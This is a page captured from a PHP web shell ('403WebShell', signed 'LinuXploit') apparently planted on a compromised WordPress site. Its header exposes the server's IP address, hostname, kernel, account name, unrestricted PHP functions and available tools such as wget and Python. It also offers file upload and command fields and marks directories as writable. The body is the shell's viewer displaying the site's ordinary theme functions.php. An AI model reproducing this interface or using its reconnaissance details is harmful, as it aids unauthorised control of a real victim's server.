Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.144.224.105
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/themes/ombre/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/themes/ombre/includes/functions.php
<?php
if ( !defined('ABSPATH')) exit;

if ( ! function_exists( 'ombre_theme_setup' ) ) {
    function ombre_theme_setup() {
        
        // Set the default content width.
        $GLOBALS['content_width'] = 1200;
        
        /* Translations */
        load_theme_textdomain( 'ombre', get_template_directory() .'/languages' );
        $ombre_locale = get_locale();
        $ombre_locale_file = get_template_directory() ."/languages/$ombre_locale.php";
        if ( is_readable($ombre_locale_file) ) {
	       require_once($ombre_locale_file);
        }
        
        /* Add theme support */
        add_theme_support( 'automatic-feed-links' );
        add_theme_support( 'post-thumbnails' );
        add_theme_support( 'title-tag' );
        
        /* Register Menus */
        register_nav_menus(
            array(
                'ombre-menu' => esc_html__( 'Main Menu', 'ombre' )    
            )
        );
    }
}
add_action( 'after_setup_theme', 'ombre_theme_setup' );

/*---------------------------------------------------
Add a body class
----------------------------------------------------*/

if ( ! function_exists( 'ombre_body_classes' ) ) {
function ombre_body_classes( $classes ) {
    $classes[] = 'ombre'; 
    return $classes;    
}
}
add_filter( 'body_class','ombre_body_classes' );

/*---------------------------------------------------
Create a wrapper and add provider name to the class
----------------------------------------------------*/

if ( ! function_exists( 'ombre_oembed_wrapper' ) ) {
function ombre_oembed_wrapper($return, $data, $url) {
    
    /* HTML5 Validation */
    $return = str_replace( array('frameborder="0"', 'webkitallowfullscreen', 'mozallowfullscreen'),'', $return );
    $return = preg_replace('/(<[^>]+) allow=".*?"/i', '$1', $return);
    /* HTML5 Validation END */
    
    $type = '';
    if (isset($data->type)) {
        $type = $data->type;
    }
    if ($type) {
        return "<div class='ombre-iframe-wrapper'><div class='ombre-flex-{$type}'>{$return}</div></div>";
    } else {
        return "<div class='ombre-iframe-wrapper'>{$return}</div>";
    }
}
}
add_filter('oembed_dataparse','ombre_oembed_wrapper',10,3);

/*---------------------------------------------------
Wrap category widget post count in a span
----------------------------------------------------*/

if ( ! function_exists( 'ombre_cat_count_span' ) ) {
function ombre_cat_count_span($links) {
  $links = str_replace('</a> (', '</a> <span class="ombre-badge">', $links);
  $links = str_replace(')', '</span>', $links);
  return $links;
}
}
add_filter('wp_list_categories', 'ombre_cat_count_span');

/*---------------------------------------------------
Stylesheets
----------------------------------------------------*/

if ( ! function_exists( 'ombre_theme_styles' ) ) {
function ombre_theme_styles()  
{ 
    wp_enqueue_style( 'normalize', get_template_directory_uri() . '/css/normalize.css', true, '1.0');
    $ombre_fakeloader = get_option('ombre_disablefakeloader');
    if ($ombre_fakeloader != "true") {
        wp_enqueue_style( 'fakeloader', get_template_directory_uri() . '/css/fakeloader.css', false, '1.0');
    }
    wp_enqueue_style( 'ombre-animation', get_template_directory_uri() . '/css/animations.css', false, '1.0');
    wp_enqueue_style( 'fontawesome', get_template_directory_uri() . '/css/font-awesome.min.css', false, '1.0');
    wp_enqueue_style( 'tooltipster', get_template_directory_uri() . '/css/tooltipster.css', false, '1.0');
    wp_enqueue_style('ombre-style', get_stylesheet_uri());
    wp_enqueue_style( 'ombre-skin', get_template_directory_uri() . '/css/skin.css', false, '1.0');
}
add_action('wp_enqueue_scripts', 'ombre_theme_styles');
}

/*---------------------------------------------------
javascript files
----------------------------------------------------*/

if ( ! function_exists( 'ombre_script_register' ) ) {
function ombre_script_register() {
    $ombre_fakeloader_js = get_option('ombre_disablefakeloader');
    if ($ombre_fakeloader_js != "true") {
        wp_enqueue_script('fakeloader-js', get_template_directory_uri() . '/js/fakeloader.js', array( 'jquery' ), '1.0.0', false );
    }
    wp_enqueue_script('ombre-html5', get_template_directory_uri() . '/js/html5.js', array( 'jquery' ), '3.7.0', false );
    wp_script_add_data('ombre-html5', 'conditional', 'lt IE 9' );
    wp_enqueue_script('backstretch', get_template_directory_uri() . '/js/backstretch.min.js', array( 'jquery' ), '2.0.4', true );
    wp_enqueue_script('salvattore', get_template_directory_uri() . '/js/salvattore.min.js', array( 'jquery' ), '1.0.9', true );
    wp_enqueue_script('tooltipster-js', get_template_directory_uri() . '/js/tooltipster.js', array( 'jquery' ), '3.3.0', true );
    if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
        wp_enqueue_script( "comment-reply" );
    }
    wp_enqueue_script('ombrecustom', get_template_directory_uri() . '/js/custom.js', array( 'jquery' ), '3.0', true );
}
    add_action( 'wp_enqueue_scripts', 'ombre_script_register' ); 
} 

/*---------------------------------------------------
Register Sidebar
----------------------------------------------------*/

if ( ! function_exists( 'ombre_sidebars_widgets_init' ) ) {
function ombre_sidebars_widgets_init() {
    register_sidebar( array(
        'name' => esc_attr__( 'Main Sidebar', 'ombre'),
        'id' => 'ombremainsidebar',
        'description' => esc_attr__( 'Main Sidebar Widget Field', 'ombre' ),
        'before_widget' => '<div id="%1$s" class="%2$s sidebar-box">',
        'after_widget' => "</div>",
        'before_title' => '<h5>',
        'after_title' => '</h5>',
    ));
    register_sidebar( array(
        'name' => esc_attr__( 'Page Sidebar', 'ombre'),
        'id' => 'ombrepagesidebar',
        'description' => esc_attr__( 'Page Sidebar Widget Field', 'ombre' ),
        'before_widget' => '<div id="%1$s" class="%2$s sidebar-box">',
        'after_widget' => "</div>",
        'before_title' => '<h5>',
        'after_title' => '</h5>',
    ));
    register_sidebar( array(
        'name' => esc_attr__( 'Footer 1', 'ombre'),
        'id' => 'ombrefooterone',
        'description' => esc_attr__( 'First Footer Widget Area', 'ombre' ),
        'before_widget' => '<div id="%1$s" class="%2$s sidebar-box">',
        'after_widget' => "</div>",
        'before_title' => '<h5>',
        'after_title' => '</h5>',
   ));

    register_sidebar( array(
        'name' => esc_attr__( 'Footer 2', 'ombre'),
        'id' => 'ombrefootertwo',
        'description' => esc_attr__( 'Second Footer Widget Area', 'ombre' ),
        'before_widget' => '<div id="%1$s" class="%2$s sidebar-box">',
        'after_widget' => "</div>",
        'before_title' => '<h5>',
        'after_title' => '</h5>',
   ));
    
    register_sidebar( array(
        'name' => esc_attr__( 'Footer 3', 'ombre'),
        'id' => 'ombrefooterthree',
        'description' => esc_attr__( 'Third Footer Widget Area', 'ombre' ),
        'before_widget' => '<div id="%1$s" class="%2$s sidebar-box">',
        'after_widget' => "</div>",
        'before_title' => '<h5>',
        'after_title' => '</h5>',
   ));
}
add_action( 'widgets_init', 'ombre_sidebars_widgets_init' );
}

/*---------------------------------------------------
Add a pingback url auto-discovery header for single posts, pages, or attachments.
----------------------------------------------------*/

function ombre_pingback_header() {
	if ( is_singular() && pings_open() ) {
		printf( '<link rel="pingback" href="%s">', esc_url( get_bloginfo( 'pingback_url' ) ) );
	}
}
add_action( 'wp_head', 'ombre_pingback_header' );

/* ---------------------------------------------------------
Pagination
----------------------------------------------------------- */

if ( ! function_exists( 'ombre_pagination' ) ) {
function ombre_pagination() { ?>
    <div class="ombre-pager"> 
    <?php 
    global $wp_query;
    $big = 999999999; // This needs to be an unlikely integer
    $ombre_paginate_links = paginate_links( array(
        'base' => str_replace( $big, '%#%', get_pagenum_link($big) ),
        'current' => max( 1, get_query_var('paged') ),
        'total' => $wp_query->max_num_pages,
        'prev_next' => true,
        'prev_text' => '<i class="fa fa-chevron-left"></i>',
        'next_text' => '<i class="fa fa-chevron-right"></i>',
        'type' => 'list'
    ));    
    echo wp_kses_post($ombre_paginate_links);    
?>
</div>
<?php }
}

if ( ! function_exists( 'ombre_custom_pagination' ) ) {
function ombre_custom_pagination($ombre_custom_query) { ?>
    <div class="ombre-pager"> 
    <?php 
    global $wp_query;
    $big = 999999999; // This needs to be an unlikely integer
    $ombre_paginate_links = paginate_links( array(
        'base' => str_replace( $big, '%#%', get_pagenum_link($big) ),
        'current' => max( 1, get_query_var('paged') ),
        'total' => $ombre_custom_query->max_num_pages,
        'prev_next' => true,
        'prev_text' => '<i class="fa fa-chevron-left"></i>',
        'next_text' => '<i class="fa fa-chevron-right"></i>',
        'type' => 'list'
    ));    
    echo wp_kses_post($ombre_paginate_links);    
?>
</div>
<?php }
}

/*---------------------------------------------------
custom read more link
----------------------------------------------------*/

if ( ! function_exists( 'ombre_excerpt_read_more' ) ) {
function ombre_excerpt_read_more($output) {
    global $post;
    return $output . '<div class="arrow-button-container"><a class="arrow-button" href="'. get_permalink($post->ID) . '">' . esc_html__('Read More', 'ombre') . '</a></div>';
}
add_filter('the_excerpt', 'ombre_excerpt_read_more');
}

/*---------------------------------------------------
add class to next-previous post links
----------------------------------------------------*/

add_filter('next_posts_link_attributes', 'ombre_link_attributes');
add_filter('previous_posts_link_attributes', 'ombre_link_attributes');

function ombre_link_attributes() {
    return 'class="button"';
}

/*---------------------------------------------------
custom tag cloud
----------------------------------------------------*/
if ( ! function_exists( 'ombre_tag_cloud_args' ) ) {
    function ombre_tag_cloud_args($args) {
        $ombre_args = array('smallest' => 16, 'largest' => 16, 'orderby' => 'count','unit' => 'px','order' => 'DESC');
        $args = wp_parse_args( $args, $ombre_args );
        return $args;
    }
}
add_filter('widget_tag_cloud_args','ombre_tag_cloud_args');

/*---------------------------------------------------
Custom comments field
----------------------------------------------------*/
if ( ! function_exists( 'ombre_comment' ) ) {
function ombre_comment($comment, $args, $depth) {
$GLOBALS['comment'] = $comment; ?>
<li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>">      
<div id="comment-<?php comment_ID(); ?>" class="comments"> 
 <?php if ($comment->comment_approved == '0') : ?>
         <em><?php echo esc_html('Your comment is awaiting moderation.', 'ombre'); ?></em>
         <br />
      <?php endif; ?>   
     <p class="meta">
     <cite class="fn"><?php printf(esc_attr('%s'), get_comment_author_link()) ?></cite><span class="says"> -</span>   
     <a href="<?php echo htmlspecialchars( esc_attr(get_comment_link( $comment->comment_ID )) ) ?>"><?php printf(esc_html__('%1$s at %2$s', 'ombre'), get_comment_date(),  get_comment_time()) ?></a> - <?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?><?php edit_comment_link(esc_html__('(Edit)', 'ombre'),'  ','') ?></p>
      <div class="comments_content">
          <div class="comments_content_inner">
              <?php comment_text(); ?>
          </div>
       <div class="clr"></div>       
</div>
    
<?php
}          
}

/*---------------------------------------------------
Admin files
----------------------------------------------------*/

if ( ! function_exists( 'ombre_theme_admin_scripts' ) ) {
function ombre_theme_admin_scripts(){
    wp_enqueue_style('ombre_theme_admin_style', get_template_directory_uri() . '/includes/css/admin-general.css', false, '1.0');
}
}
add_action( 'admin_enqueue_scripts', 'ombre_theme_admin_scripts' );

/* ---------------------------------------------------------
TGM Activation Class
----------------------------------------------------------- */

require_once(get_template_directory() . '/includes/class-tgm-plugin-activation.php');

add_action( 'tgmpa_register', 'ombre_register_required_plugins' );

function ombre_register_required_plugins() {
	$plugins = array(
		array(
			'name'     				=> esc_html__( 'Ombre Features', 'ombre'),
			'slug'     				=> 'ombre-features',
			'source'   				=> get_template_directory_uri() . '/plugins/ombre-features.zip',
			'required' 				=> true,
            'version' 				=> '3.4',
			'force_activation' 		=> false,
			'force_deactivation' 	=> false,
		),
        array(
			'name'     				=> esc_html__( 'Siteorigin Panels', 'ombre'),
			'slug'     				=> 'siteorigin-panels',
			'required' 				=> true,
		),
        array(
			'name'     				=> esc_html__( 'SiteOrigin Widgets Bundle', 'ombre'),
			'slug'     				=> 'so-widgets-bundle',
			'required' 				=> true,
		),
        array(
			'name'     				=> esc_html__( 'CMB2', 'ombre'),
			'slug'     				=> 'cmb2',
			'required' 				=> true,
		),
        array(
			'name'     				=> esc_html__( 'Contact Form 7', 'ombre'),
			'slug'     				=> 'contact-form-7',
			'required' 				=> false,
		),
	);

	$config = array(
		'id'           => 'ombre',
		'default_path' => '',
		'menu'         => 'tgmpa-install-plugins',
		'has_notices'  => true,
		'dismissable'  => true,
		'dismiss_msg'  => '',
		'is_automatic' => false,
		'message'      => '',
	);

	tgmpa( $plugins, $config );

}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit